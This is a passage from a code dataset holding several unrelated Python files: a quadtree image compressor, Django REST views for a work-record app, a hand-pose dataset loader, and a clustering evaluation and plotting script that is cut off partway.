1)\r\n\r\n\t\t\tself.nw.decomposeImage()\r\n\t\t\tself.ne.decomposeImage()\r\n\t\t\tself.sw.decomposeImage()\r\n\t\t\tself.se.decomposeImage()\r\n\r\n\tdef drawAtDepth(self, depthToDraw, currentDepth = 1):\r\n\t\tif self.nw is None or currentDepth == depthToDraw:\r\n\t\t\treturn self.nw is not None\r\n\t\t\r\n\t\treturn True in [\r\n\t\t\tself.nw.drawAtDepth(depthToDraw, currentDepth+1),\r\n\t\t\tself.ne.drawAtDepth(depthToDraw, currentDepth+1),\r\n\t\t\tself.sw.drawAtDepth(depthToDraw, currentDepth+1),\r\n\t\t\tself.se.drawAtDepth(depthToDraw, currentDepth+1)\r\n\t\t]\r\n\r\n\r\n\tdef reconstructImage(self, border = False, reverse = False, animation=True, framerate=6):\r\n\t\timList = []\r\n\r\n\t\tdepth = 1\r\n\t\twhile(self.drawAtDepth(depth)):\r\n\t\t\timList.append(self.createImage(depth, border))\r\n\r\n\t\t\tdepth += 1\r\n\r\n\t\timList.append(self.createImage(depth, border))\r\n\r\n\t\toriginalImage = Image.new(\"RGB\", self.im.size, (255, 255, 255))\r\n\t\toriginalImage.paste(self.im)\r\n\r\n\t\tprint(originalImage)\r\n\r\n\t\timList.append(originalImage)\r\n\r\n\t\tif not reverse:\r\n\t\t\timList.reverse()\r\n\r\n\t\t# replace all previous images with the existing ones\r\n\t\t[os.remove(f) for f in glob.glob('./tmp/framedump/*.jpg')]\r\n\t\t[im.save('./tmp/framedump/{}.jpg'.format((chr(ord('A') + i)))) for i, im in enumerate(imList)]\r\n\r\n\t\tif animation:\r\n\t\t\timSize = [(i - i%2) for i in self.im.size]\r\n\t\t\tprint(f'output mov dimensions: {tuple(imSize)}')\r\n\r\n\t\t\t# turns images into jpg\r\n\t\t\t(\r\n\t\t\t\tffmpeg\r\n\t\t\t\t.input('./tmp/framedump/*.jpg', pattern_type='glob', framerate=framerate)\r\n\t\t\t\t.filter('scale', *imSize)\r\n\t\t\t\t.output('./Output/output.mov')\r\n\t\t\t\t.run()\r\n\t\t\t)\r\n\r\n\t\t# imList[0].save('./Output/output.mp4', format=\"mp4\", save_all=True, optimize=False, append_images=imList[1:]+[imList[-1] for i in range(2)], duration=300, loop=0)\r\n\r\n\t\t# close all images\r\n\t\t[i.close() for i in imList]\r\n\r\n\r\n\tdef fillPixels(self, image, targetDepth, currentDepth=1, border=False):\r\n\t\tif self.nw is not None and currentDepth < targetDepth:\r\n\t\t\tself.nw.fillPixels(image, targetDepth, currentDepth+1, border)\r\n\t\t\tself.ne.fillPixels(image, targetDepth, currentDepth+1, border)\r\n\t\t\tself.sw.fillPixels(image, targetDepth, currentDepth+1, border)\r\n\t\t\tself.se.fillPixels(image, targetDepth, currentDepth+1, border)\r\n\r\n\t\t\treturn\r\n\r\n\t\tcol = tuple([int(i) for i in self.avColour])\r\n\r\n\t\tboxSize = [i for i in self.im.size]\r\n\t\ttopLeft = self.rect[:2]\r\n\r\n\t\tif border:\r\n\t\t\tboxSize = [i-1 for i in boxSize]\r\n\t\t\ttopLeft = [i+1 for i in topLeft]\r\n\r\n\t\t\tborderBox = Image.new(\"RGB\", self.im.size, color = (0,0,0))\r\n\r\n\t\t\timage.paste(borderBox, box=self.rect[:2])\r\n\t\t\r\n\t\tcolourBox = Image.new(\"RGB\", boxSize, color = col)\r\n\t\timage.paste(colourBox, box=topLeft)\r\n\r\n\r\n\tdef createImage(self, depth, border = False):\r\n\t\tcompressedIm = Image.new(\"RGB\", self.im.size)\r\n\t\tself.fillPixels(compressedIm, depth, border = border)\r\n\r\n\t\treturn compressedIm","repo_name":"cookies-xor-cream/QuadtreeCompression","sub_path":"ImageQuadtree.py","file_name":"ImageQuadtree.py","file_ext":"py","file_size_in_byte":4944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19584564471","text":"from django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework import generics, status\nfrom workrecords.models import Work, PersonChoises\nfrom django.contrib.auth import get_user_model\nfrom workrecords.serializers import WorkSerializer, WorkCreateSerializer\nfrom Users.serializers import PersonSerializer, PersonUpdateSerializer, PersonCreateSerializer\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.exceptions import ValidationError\nfrom django.db import DatabaseError\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom Users.utils import StatisticThread, getStats\n# Create your views here.\n\n# create ,get work API viw\nclass UserWorksView(generics.GenericAPIView):\n    permission_classes = (IsAuthenticated,)\n    serializer_class= WorkSerializer\n    \n    # overriding get queryset\n    def get_queryset(self):\n        \"\"\"\n        returns works for the specific user\n        \"\"\"\n        queryset = Work.objects.all()\n        id = self.kwargs['user_id']\n        user = get_user_model().objects.get(pk=id)\n        if user is not None:\n            return queryset.filter(assigned_to=user).order_by('-last_modified')\n    \n    def get(self,request,user_id):\n        serializer = self.serializer_class(self.get_queryset(), many=True)\n        scope={'hasNoList':False}\n        if len(serializer.data)==0:\n            scope['hasNoList']=True\n            stats={'total':0,'paid_total':0,'not_paid_total':0}\n        stats=getStats.calculate_stats(serializer.data)\n        return Response(data={'data':serializer.data,'scope':scope,'stats':stats}, status=status.HTTP_200_OK)\n\n\nclass UserCreateWorksView(generics.GenericAPIView):\n    permission_classes = (IsAuthenticated,)\n    serializer_class = WorkCreateSerializer\n\n\n    # create work for user\n    def post(self, request,user_id):\n        data = request.data\n        print(request.user)\n        serializer = self.serializer_class(data=data,context={'request': request})\n        serializer.is_valid(raise_exception=True)\n        try:\n            serializer.save(\n                created_by=request.user, assigned_to=request.user)\n            print(serializer.data)\n            return Response(data={\"message\": \"work has been added\"}, status=status.HTTP_201_CREATED)\n        except ValidationError as error:\n            print(error)\n            print(serializer.errors)\n            return Response(data={\"message\": serializer.errors}, status=status.HTTP_400_BAD_REQUEST)\n\n            \nclass UserPersonView(generics.GenericAPIView):\n\n    permission_classes = (IsAuthenticated,)\n    serializer_class = PersonSerializer\n\n    # overriding get queryset\n\n    def get_queryset(self):\n        \"\"\"\n        returns person for User\n\n        \"\"\"\n        queryset = PersonChoises.objects.all()\n        return queryset\n\n    # get person detail\n    def get(self, request, user_id):\n        scope = {'hasNoList': False}\n        try:\n            serializer = self.serializer_class(self.get_queryset().filter(user=request.user),many=True)\n            \n            if len(serializer.data) == 0:\n                scope['hasNoList'] = True\n            return Response(data={'data': serializer.data, 'scope': scope}, status=status.HTTP_200_OK)\n        except ObjectDoesNotExist as error:\n            return Response(data={\"detail\": error}, status=status.HTTP_404_OK)\n        \n        \nclass UserCreatePersonView(generics.GenericAPIView):\n\n    permission_classes = (IsAuthenticated,)\n    serializer_class = PersonCreateSerializer\n    # add person\n\n    def post(self, request, user_id):\n        data = request.data\n        serializer = self.serializer_class(\n            data=data, context={'request': request,'userId':user_id})\n        serializer.is_valid(raise_exception=True)\n        try:\n            serializer.save(user=request.user)\n            print(serializer.data)\n            return Response(data={\"message\": \"person has been created\"}, status=status.HTTP_200_OK)\n        except ValidationError as error:\n            return Response(data={\"message\": error}, status=status.HTTP_400_BAD_REQUEST)\n\nclass UserUpdatePersonView(generics.RetrieveUpdateDestroyAPIView):\n    permission_classes = (IsAuthenticated,)\n    serializer_class = PersonUpdateSerializer\n    lookup_field = \"personchoices_id\"\n\n    # overriding get queryset\n\n    def get_queryset(self):\n        \"\"\"\n        returns specific person for detail(get),updated(put),deleting(delete) \n        \"\"\"\n        id = self.kwargs['personchoices_id']\n        print(id)\n        queryset = PersonChoises.objects.get(id=id)\n        return queryset\n\n    # get person detail\n    def get(self, request, user_id,personchoices_id):\n        try:\n            serializer = self.serializer_class(self.get_queryset())\n            message = f\"person {personchoices_id} detail\"\n            return Response(data=serializer.data, status=status.HTTP_200_OK)\n        except ObjectDoesNotExist as error:\n            return Response(data={\"detail\": error}, status=status.HTTP_404_OK)\n\n\n    # update person\n    def put(self, request, user_id,personchoices_id):\n        print(personchoices_id)\n        data = request.data\n        serializer = self.serializer_class(self.get_queryset(), data=data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        print(serializer.data)\n        return Response(data={\"message\": \"person has been updated\"}, status=status.HTTP_200_OK)\n\n    # delete person\n    def delete(self, request, user_id,personchoices_id):\n        person = self.get_queryset()\n        operation = person.delete()\n        if operation:\n            message = f\"work {personchoices_id} has been deleted\"\n            return Response({\"message\": message}, status=status.HTTP_200_OK)\n        return Response(data={\"message\": message}, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"Sammy-Barasa/work-record-manager","sub_path":"Users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72457664720","text":"import os\nimport lmdb\n\nimport numpy as np\nfrom PIL import Image, ImageFile\nfrom datasets import fhbutils\nfrom datasets.queries import BaseQueries,TransQueries, get_trans_queries\n\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\n\nclass FHBHands(object):\n    def __init__(\n        self,\n        dataset_folder,\n        split,#\n        ntokens_pose,\n        ntokens_action,\n        spacing,\n        is_shifting_window,\n        split_type=\"actions\",\n    ):\n        super().__init__()\n\n\n        self.ntokens_pose=ntokens_pose\n        self.ntokens_action=ntokens_action\n        self.spacing=spacing\n        self.is_shifting_window=is_shifting_window\n    \n\n        self.all_queries = [\n            BaseQueries.IMAGE,           \n            BaseQueries.CAMINTR,\n\n            TransQueries.JOINTS2D, \n            TransQueries.JOINTSABS25D,\n\n            BaseQueries.JOINTS3D,\n            BaseQueries.ACTIONIDX,\n            BaseQueries.OBJIDX,\n        ]\n             \n       \n        trans_queries = get_trans_queries(self.all_queries)\n        self.all_queries.extend(trans_queries) \n\n        # Get camera info\n        self.cam_extr = np.array(\n            [\n                [0.999988496304, -0.00468848412856, 0.000982563360594, 25.7],\n                [0.00469115935266, 0.999985218048, -0.00273845880292, 1.22],\n                [-0.000969709653873, 0.00274303671904, 0.99999576807, 3.902],\n                [0, 0, 0, 1],\n            ]\n        )\n        self.cam_intr = np.array([[1395.749023, 0, 935.732544], [0, 1395.749268, 540.681030], [0, 0, 1]])\n\n        self.reorder_idx = np.array(\n            [0, 1, 6, 7, 8, 2, 9, 10, 11, 3, 12, 13, 14, 4, 15, 16, 17, 5, 18, 19, 20]\n        )\n        self.name = \"fhb\"\n        split_opts = [\"actions\", \"objects\", \"subjects\"]\n        self.subjects = [\"Subject_1\", \"Subject_2\", \"Subject_3\", \"Subject_4\", \"Subject_5\", \"Subject_6\"]\n        if split_type not in split_opts:\n            raise ValueError(\n                \"Split for dataset {} should be in {}, got {}\".format(self.name, split_opts, split_type)\n            )\n\n        self.split_type = split_type \n        \n\n        self.root = dataset_folder\n        self.info_root = os.path.join(self.root, \"Subjects_info\")\n        self.info_split = os.path.join(self.root, \"data_split_action_recognition.txt\")\n        self.info_video_order_for_supervision= os.path.join(self.root,'video_annotation.json') \n\n        self.reduce_res = True\n        small_rgb = os.path.join(self.root, \"Video_files_480\")\n        if os.path.exists(small_rgb) and self.reduce_res: \n            self.rgb_root = small_rgb\n            self.reduce_factor = 1 / 4\n        else:\n            self.rgb_root = os.path.join(self.root, \"Video_files\")\n            self.reduce_factor = 1\n            assert False, 'Warning-reduce factor is 1'\n        self.skeleton_root = os.path.join(self.root, \"Hand_pose_annotation_v1\")\n        \n        self.split = split\n        self.rgb_template = \"color_{:04d}.jpeg\"\n\n\n        #Load action labels\n        path_action_object_info = os.path.join(self.root,'action_object_info.txt')\n        action_object_info,object_to_idx,action_to_idx = fhbutils.get_action_object_infos(path_action_object_info)\n        self.action_object_info={}\n        \n        self.action_object_info=action_object_info\n        self.object_to_idx=object_to_idx\n        self.action_to_idx=action_to_idx\n        \n        self.num_actions = len(self.action_object_info.keys())\n        self.num_objects = len(self.object_to_idx.keys())\n        \n        for i,(k,v) in enumerate(self.action_object_info.items()):\n            self.action_object_info[k][\"action_idx\"]=i\n        \n\n        # get paired links as neighboured joints\n        self.links = [\n            (0, 1, 2, 3, 4),\n            (0, 5, 6, 7, 8),\n            (0, 9, 10, 11, 12),\n            (0, 13, 14, 15, 16),\n            (0, 17, 18, 19, 20),\n        ]\n \n        \n        self.load_dataset()\n\n\n        # Infor for rendering\n        self.cam_intr[:2] = self.cam_intr[:2] * self.reduce_factor\n        self.image_size = [int(1920 * self.reduce_factor), int(1080 * self.reduce_factor)] \n\n        if self.split=='train':\n            try:\n                self.env_r=lmdb.open(os.path.join(self.root,'lmdb_imgs',self.split),readonly=True,lock=False,readahead=False,meminit=False,\\\n                                map_size=(1024)**3,max_spare_txns=32,max_dbs=1000)\n            except:\n                self.env_r=None\n                \n        \n    def load_dataset(self):\n        subjects_infos = {}\n        video_lens={}\n        for subject in self.subjects:\n            subject_info_path = os.path.join(self.info_root, \"{}_info.txt\".format(subject))         \n            if not os.path.exists(subject_info_path):\n                continue       \n            subjects_infos[subject] = {}\n            with open(subject_info_path, \"r\") as subject_f:\n                raw_lines = subject_f.readlines()\n                for line in raw_lines[3:]:\n                    line = \" \".join(line.split())\n                    action, action_idx, length = line.strip().split(\" \")\n                    subjects_infos[subject][(action, action_idx)] = length\n\n                    video_lens[(subject,action,action_idx)]=int(length) \n\n        skel_info = fhbutils.get_skeletons(self.skeleton_root, subjects_infos)\n         \n        with open(self.info_split, \"r\") as annot_f:\n            lines_raw = annot_f.readlines()\n\n        train_list, test_list, all_infos = fhbutils.get_action_train_test(lines_raw, subjects_infos) \n        \n        assert self.split_type=='actions', 'FHB should use actions split'\n        if self.split_type == \"actions\":\n            if self.split == \"train\":\n                sample_list = train_list\n            elif self.split == \"test\":\n                sample_list = test_list\n            else:\n                raise ValueError(\n                    \"Split {} not valid for fhbhands, should be [train|test|all]\".format(self.split)\n                )\n        elif self.split_type == \"subjects\":\n            if self.split == \"train\":\n                subjects = [\"Subject_1\", \"Subject_3\", \"Subject_4\"]\n            elif self.split == \"test\":\n                subjects = [\"Subject_2\", \"Subject_5\", \"Subject_6\"]\n            else:\n                raise ValueError(f\"Split {self.split} not in [train|test] for split_type subjects\")\n            self.subjects = subjects\n            sample_list = all_infos\n        elif self.split_type == \"objects\":\n            sample_list = all_infos\n        else:\n            raise ValueError(\n                \"split_type should be in [action|objects|subjects], got {}\".format(self.split_type)\n            )\n        if self.split_type != \"subjects\":\n            self.subjects = [\"Subject_1\", \"Subject_2\", \"Subject_3\", \"Subject_4\", \"Subject_5\", \"Subject_6\"]\n         \n        image_names = []\n        joints2d = []\n        joints3d = []\n        \n        sample_infos = []\n\n        #Add new features\n        action_idxs, obj_idxs, object_loss_weights = [], [], [] \n        for subject, action_name, seq_idx, frame_idx in sample_list: \n            relative_img_path = os.path.join(subject, action_name, seq_idx, \"color\", self.rgb_template.format(frame_idx))#self.rgb_root, \n            skel = skel_info[subject][(action_name, seq_idx)][frame_idx]\n            skel = skel[self.reorder_idx]\n\n            skel_hom = np.concatenate([skel, np.ones([skel.shape[0], 1])], 1)\n            skel_camcoords = self.cam_extr.dot(skel_hom.transpose()).transpose()[:, :3].astype(np.float32)\n            \n            image_names.append(relative_img_path)\n            sample_infos.append(\n                {\n                    \"subject\": subject,\n                    \"action_name\": action_name,\n                    \"seq_idx\": seq_idx,\n                    \"frame_idx\": frame_idx, \n                    \"object_name\": self.action_object_info[action_name][\"object_name\"]\n                }\n            )\n\n            joints3d.append(skel_camcoords)\n            hom_2d = np.array(self.cam_intr).dot(skel_camcoords.transpose()).transpose()\n            skel2d = (hom_2d / hom_2d[:, 2:])[:, :2]\n            \n            joints2d.append(skel2d.astype(np.float32))\n\n            #action related\n            action_idxs.append(self.action_object_info[action_name][\"action_idx\"])\n\n            #object related\n            obj_idxs.append(self.action_object_info[action_name][\"object_idx\"])\n            \n        \n        annotations = {\n            \"image_names\": image_names,\n            \"joints2d\": joints2d,\n            \"joints3d\": joints3d,\n            \"sample_infos\": sample_infos,\n\n            \"action_idxs\":action_idxs,\n            \"obj_idxs\":obj_idxs,\n\n            \"video_lens\":video_lens,\n        }\n        \n         \n        \n        # Get image paths\n        self.image_names = annotations[\"image_names\"]        \n\n        self.joints2d = annotations[\"joints2d\"]\n        self.joints3d = annotations[\"joints3d\"] #shd be with FPHA annotations\n        \n        self.sample_infos = annotations[\"sample_infos\"]\n\n        self.action_idxs = annotations[\"action_idxs\"]\n        self.obj_idxs=annotations[\"obj_idxs\"] \n \n        self.video_lens=annotations[\"video_lens\"]\n        \n         \n        window_starts,fulls=fhbutils.get_seq_map(sample_infos=self.sample_infos,video_lens=self.video_lens,\n                                                    ntokens_pose=self.ntokens_pose,\n                                                    ntokens_action=self.ntokens_action,\n                                                    spacing=self.spacing,\n                                                    is_shifting_window=self.is_shifting_window)\n        self.window_starts=window_starts\n        self.fulls=fulls \n    \n    def get_start_frame_idx(self, idx):\n        idx=min(idx,len(self.window_starts)-1)\n        return self.window_starts[idx]\n            \n    \n    def get_dataidx(self, idx):\n        idx=min(idx,len(self.fulls)-1)\n        return self.fulls[idx]\n\n    def open_seq_lmdb(self,idx):\n        if self.split!='train':\n            return 0,0\n        idx=self.get_dataidx(idx)\n        cur_seq_tag='_'.join(self.image_names[idx].split('/')[:-1])\n        \n        \n        subdb=self.env_r.open_db(cur_seq_tag.encode('ascii'),create=False)\n        txn=self.env_r.begin(write=False,db=subdb)\n        return txn\n\n    def get_image(self, idx, txn=None):\n        idx = self.get_dataidx(idx)\n        img_path = self.image_names[idx]\n        \n        if self.split=='train':\n            buf=txn.get(img_path.encode('ascii'))\n            img_flat=np.frombuffer(buf,dtype=np.uint8)\n            img = img_flat.reshape(self.image_size[1],self.image_size[0],3).copy()\n            img = Image.fromarray(img.astype(np.uint8)).convert(\"RGB\") \n        else:\n            img_path = os.path.join(self.rgb_root, img_path)\n            img = Image.open(img_path).convert(\"RGB\")\n        return img\n   \n\n\n    def get_joints3d(self, idx):\n        idx = self.get_dataidx(idx)\n        joints = self.joints3d[idx]\n        return joints / 1000\n\n    def get_joints2d(self, idx):\n        idx = self.get_dataidx(idx)\n        joints = self.joints2d[idx] * self.reduce_factor\n        return joints\n\n \n    def get_abs_joints25d(self,idx):\n        idx=self.get_dataidx(idx)\n        joints=self.joints3d[idx]/1000\n        joints[:,:2]=self.joints2d[idx]*self.reduce_factor     \n         \n        return joints\n\n\n    \n    \n\n    def get_camintr(self, idx):\n        idx = self.get_dataidx(idx)\n        camintr = self.cam_intr\n        return camintr.astype(np.float32)\n \n    def get_action_idxs(self, idx):\n        idx=self.get_dataidx(idx)\n        action_idx=self.action_idxs[idx]\n        return action_idx\n    def get_obj_idxs(self,idx):\n        idx=self.get_dataidx(idx)\n        return self.obj_idxs[idx]\n\n    \n\n    def get_sample_info(self,idx):\n        idx=self.get_dataidx(idx)\n        sample_info=self.sample_infos[idx]\n        return sample_info\n    \n    \n    def get_future_frame_idx(self, cur_idx, fut_idx, spacing, verbose=False):\n        cur_idx=self.get_dataidx(cur_idx)\n        fut_idx=self.get_dataidx(fut_idx)\n        cur_sample_info=self.sample_infos[cur_idx]\n        fut_sample_info=self.sample_infos[fut_idx]\n\n        if fut_sample_info[\"frame_idx\"]-cur_sample_info[\"frame_idx\"] != spacing:\n            fut_idx=cur_idx\n            not_padding=0\n        else:\n            not_padding=1 \n        return fut_idx,not_padding\n\n\n    def __len__(self):\n        return len(self.window_starts)\n ","repo_name":"fylwen/HTT","sub_path":"datasets/fhbhands.py","file_name":"fhbhands.py","file_ext":"py","file_size_in_byte":12453,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"3"}
+{"seq_id":"19725985844","text":"import os.path\nimport random\nimport re\nfrom ast import literal_eval\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import bootstrap\nfrom sib.clustering_utils import reindex_labels\nfrom sklearn.metrics import adjusted_mutual_info_score, adjusted_rand_score, \\\n    v_measure_score, precision_recall_fscore_support, homogeneity_score, completeness_score\nfrom tqdm import tqdm\n\nfrom constatns import get_paths\nfrom ex3_sib_vs_kmeans_setup import EMBEDDING_VIEW_ORDER, ALGORITHM_VIEW_ORDER, ALGORITHMS, EMBEDDINGS\n\ntqdm.pandas()\n\nrandom.seed(1024)\n\nEX_NAME = 'ex3'\n\nDATASETS_FULL_PATH, VECTORS_FULL_PATH, SUMMARY_FULL_PATH, \\\n    DATASETS_METADATA_FULL_PATH, SETUPS_METADATA_FULL_PATH, \\\n    EMBEDDINGS_FULL_PATH, PREDICTIONS_FULL_PATH, \\\n    METRICS_FULL_PATH, AGGREGATED_FULL_PATH, \\\n    TABLES_FULL_PATH, FIGURES_FULL_PATH, HARDWARE_PATH = get_paths(EX_NAME)\n\n\ndef classification_scores(row):\n    gold_array = np.array(row['gold_labels'])\n    predicted_array = np.array(row['predicted_labels'])\n\n    row['ami'] = adjusted_mutual_info_score(gold_array, predicted_array)\n    row['ari'] = adjusted_rand_score(gold_array, predicted_array)\n    row['homogeneity'] = homogeneity_score(gold_array, predicted_array)\n    row['completeness'] = completeness_score(gold_array, predicted_array)\n    row['v-measure'] = v_measure_score(gold_array, predicted_array)\n\n    reindexed_predicted_array = reindex_labels(gold_array, predicted_array, predicted_array)\n\n    micro_pr, micro_rc, micro_f1, _ = \\\n        precision_recall_fscore_support(gold_array, reindexed_predicted_array, average='micro', zero_division=0)\n\n    macro_pr, macro_rc, macro_f1, _ = \\\n        precision_recall_fscore_support(gold_array, reindexed_predicted_array, average='macro', zero_division=0)\n\n    weighted_pr, weighted_rc, weighted_f1, _ = \\\n        precision_recall_fscore_support(gold_array, reindexed_predicted_array, average='weighted', zero_division=0)\n\n    row['micro_pr'], row['macro_pr'], row['weighted_pr'] = micro_pr, macro_pr, weighted_pr\n    row['micro_rc'], row['macro_rc'], row['weighted_rc'] = micro_rc, macro_rc, weighted_rc\n    row['micro_f1'], row['macro_f1'], row['weighted_f1'] = micro_f1, macro_f1, weighted_f1\n\n    return row\n\n\ndef compute_metrics():\n    if not os.path.exists(METRICS_FULL_PATH):\n        df = pd.read_csv(PREDICTIONS_FULL_PATH)\n        print(\"Processing %d predictions\" % df.shape[0])\n\n        print(\"Parsing string lists of gold labels\")\n        df['gold_labels'] = df['gold_labels'].progress_apply(literal_eval)\n\n        print(\"Parsing string lists of predicted labels\")\n        df['predicted_labels'] = df['predicted_labels'].progress_apply(literal_eval)\n\n        print(\"Evaluating predictions\")\n        df = df.progress_apply(lambda row: classification_scores(row), axis=1)\n\n        print(\"Dropping unneeded columns\")\n        df = df.drop(labels=['gold_labels', 'predicted_labels'], axis=1)\n\n        df.to_csv(METRICS_FULL_PATH)\n\n\ndef bootstrap_ci95(series):\n    mean = series.mean()\n    if np.allclose(series, series.mean()):\n        ci = mean, mean\n    else:\n        ci = bootstrap((series,), np.mean,\n                       random_state=random.randint(0, 1024 ** 2)).confidence_interval\n    return mean, ci[0], ci[1]\n\n\ndef split_ci_values(row):\n    for measure, (mean, low, high) in row.items():\n        row[measure] = mean\n        row[measure + '_low'] = low\n        row[measure + '_high'] = high\n    return row\n\n\ndef aggregate_runs():\n    if not os.path.exists(AGGREGATED_FULL_PATH):\n        df = pd.read_csv(METRICS_FULL_PATH)\n        measures = df.columns[df.dtypes == np.float64]\n        df = df.groupby(['dataset', 'algorithm', 'algorithm_params',\n                         'vectorizer_name', 'vectorizer_params']).agg(\n            {measure: bootstrap_ci95 for measure in measures})\n        df = df[measures].apply(split_ci_values, axis=1)\n        df.to_csv(AGGREGATED_FULL_PATH)\n\n\ndef extract_params(param, row):\n    for key, value in literal_eval(row[param]).items():\n        row[key] = value\n    return row\n\n\nparams_desc = {\n    'max_iter': lambda x: 'Max iterations: %d' % x,\n    'max_features': lambda x: 'Vocab size: %dk' % (x / 1000),\n    'stop_words': lambda x: 'Stop words: ' +\n                            ('filtered' if x and x == 'english' else 'allowed')\n}\n\n\ndef get_setup_display_name(setup_params):\n    desc = []\n    for params in setup_params:\n        for key, value in literal_eval(params).items():\n            if key in params_desc:\n                desc.append(params_desc[key](value))\n            else:\n                raise ValueError(\"Unknown parameter: %s\" % key)\n\n    return ', '.join(desc)\n\n\ndataset_newline_re = re.compile(r'(.+) ([^ ]+)')\n\n\ndef create_plots():\n    df = pd.read_csv(AGGREGATED_FULL_PATH)\n\n    # sort by the parameters for better arrangement in charts\n    df = df.apply(lambda row: extract_params('algorithm_params', row), axis=1)\n    df = df.apply(lambda row: extract_params('vectorizer_params', row), axis=1)\n\n    measures = {'ami': ('Adjusted Mutual Information', ''),\n                'ari': ('Adjusted Rand-Index', ''),\n                'v-measure': ('V-Measure', ''),\n                'micro_f1': ('Micro Average F1', ''),\n                'macro_f1': ('Macro Average F1', ''),\n                'total_time': ('Total Run-Time', '')}\n\n    groups = [[['ami', 'ari']],\n              [['micro_f1', 'macro_f1'],\n               ['v-measure', 'total_time']]]\n    group_figsize = [(17, 8), (17, 16)]\n    group_padding = [(None, 0.03), (0.04, 0.03)]\n    time_measures = {'total_time'}\n\n    # Okabe and Ito 2008 palette\n    colors = ['#000000', '#E69F00', '#56B4E9', '#009E73',\n              '#F0E442', '#0072B2', '#D55E00', '#CC79A7']\n\n    # keep the black for the error bars\n    colors = colors[1:]\n\n    # figsize = (12, 10)\n    bar_width = 0.22\n    margin = 0.01\n\n    df = sort_df(df)\n\n    datasets = [dataset for dataset in df['dataset'].unique()]\n\n    setup_groups = df.groupby(['algorithm', 'vectorizer_name',\n                               'algorithm_params', 'vectorizer_params'], sort=False)\n\n    ind_labels = np.arange(len(datasets)) * (1 + bar_width)  # the x locations for the groups\n    ind_values = ind_labels - bar_width * (len(setup_groups)/2 - 0.5)\n\n    labels = [f'{algorithm} on top of {embedding}' for (algorithm, embedding, c, d), _ in setup_groups]\n\n    for group, figsize, padding in zip(groups, group_figsize, group_padding):\n        rows = len(group)\n        cols = len(group[0])\n        hspace, wspace = padding\n        fig, axes = plt.subplots(rows, cols, figsize=figsize,\n                                 constrained_layout=True)\n        fig.set_constrained_layout_pads(hspace=hspace, wspace=wspace)\n        axes = axes.flatten()\n        group = [y for x in group for y in x]\n        for index, (measure, ax) in enumerate(zip(group, axes)):\n            title, caption = measures[measure]\n\n            log_scale = measure in time_measures\n            upper_bound = None if log_scale else 1\n\n            ax.margins(x=margin)\n\n            if log_scale:\n                ax.set_yscale('log', base=2)\n                ax.set_yticks([])\n\n            for setup_id, (_, df_setup) in enumerate(setup_groups):\n                df_setup = df_setup.sort_values(by=['stop_words']).reset_index(drop=True)\n                mean_values = df_setup[measure]\n                ci_values = df_setup[[measure + '_low', measure + '_high']].T\n                error_bar = (ci_values - mean_values).abs()\n                rects = ax.bar(ind_values + setup_id*bar_width,\n                               mean_values, yerr=error_bar.to_numpy(),\n                               width=bar_width, capsize=3, ecolor='black',\n                               color=colors[setup_id % len(colors)])\n\n                if log_scale:\n                    rotate = df_setup['vectorizer_name'].iloc[0] != EMBEDDINGS['sbert'][0]\n                    autolabel(ax, rects, rotate)\n\n            ax.set_title(title, fontsize=14)\n            if upper_bound:\n                ax.set_ylim(0.0, upper_bound)\n                ax.set_yticks(np.arange(0, upper_bound + 0.1, 0.1))\n            ax.set_xticks(ind_labels)\n            ax.set_xticklabels(datasets, fontsize=14)\n\n            ax.set_axisbelow(True)\n            ax.grid(alpha=0.75, axis='y')\n\n        fig.legend(labels=labels, loc='center', ncol=5,\n                   bbox_to_anchor=(-0.05, -0.08), prop={'size': 14},\n                   bbox_transform=axes[-1].transAxes)\n        # fig.legend(labels=labels, loc='center', ncol=3,\n        #            bbox_to_anchor=(0.5, -0.2), prop={'size': 14},\n        #            bbox_transform=ax.transAxes)\n\n        fig.savefig(os.path.join(FIGURES_FULL_PATH, f'fig_{\"_\".join(group)}.pdf'),\n                    bbox_inches='tight', dpi=300)\n\n\ndef sort_df(df):\n    orders = {\n        'algorithm': {ALGORITHMS[a][0]: i for i, a in enumerate(ALGORITHM_VIEW_ORDER)},\n        'vectorizer_name': {EMBEDDINGS[e][0]: i for i, e in enumerate(EMBEDDING_VIEW_ORDER)}\n    }\n    df = df.sort_values(by=['algorithm', 'vectorizer_name'],\n                        key=lambda x: x.map(orders[x.name]))\n    return df\n\n\ndef format_seconds(seconds):\n    seconds = int(round(seconds))\n    m, s = divmod(seconds, 60)\n    if m > 60:\n        h, m = divmod(m, 60)\n        return f'{h:02d}:{m:02d}:{round(s):02d}'\n    else:\n        return f'{m:02d}:{round(s):02d}'\n\n\ndef autolabel(ax, rects, rotate):\n    \"\"\"\n    Attach a text label above each bar displaying its height\n    \"\"\"\n    for rect in rects:\n        height = rect.get_height()\n        value = format_seconds(height)\n        rotation = 45 if rotate else 0\n        ax.text(rect.get_x() + rect.get_width()/2., 1.05*height, value,\n                # '%.2f' % height,\n                ha='center', va='bottom', fontsize=9, rotation=rotation)\n\n\ndef create_results_table():\n    # sets = [{'name': 'table_results.tex',\n    #          'caption': 'Assessment of clustering quality using the '\n    #                     'AMI, ARI, V-Measure (\\\\textit{VM}), Micro-F1 (\\\\textit{Mic-F1}) '\n    #                     'and Macro-F1 (\\\\textit{Mac-F1}) metrics',\n    #          'label': 'tab:results',\n    #          'metrics': {'ami': 'AMI', 'ari': 'ARI', 'v-measure': 'VM',\n    #                      'micro_f1': 'Mic-F1', 'macro_f1': 'Mac-F1'},\n    #          'columns': {'dataset': 'Dataset', 'algorithm': 'Algorithm',\n    #                      'vectorizer_name': 'Embed.'},\n    #          'min_max_func': pd.Series.max,\n    #          'wide': False},\n    #         {'name': 'table_times.tex',\n    #          'caption': 'Assessment of clustering speed based on measurements of the '\n    #                     'vectorization time (\\\\textit{Vector.}) and clustering time (\\\\textit{Cluster.}), '\n    #                     'and their sum (\\\\textit{Total})',\n    #          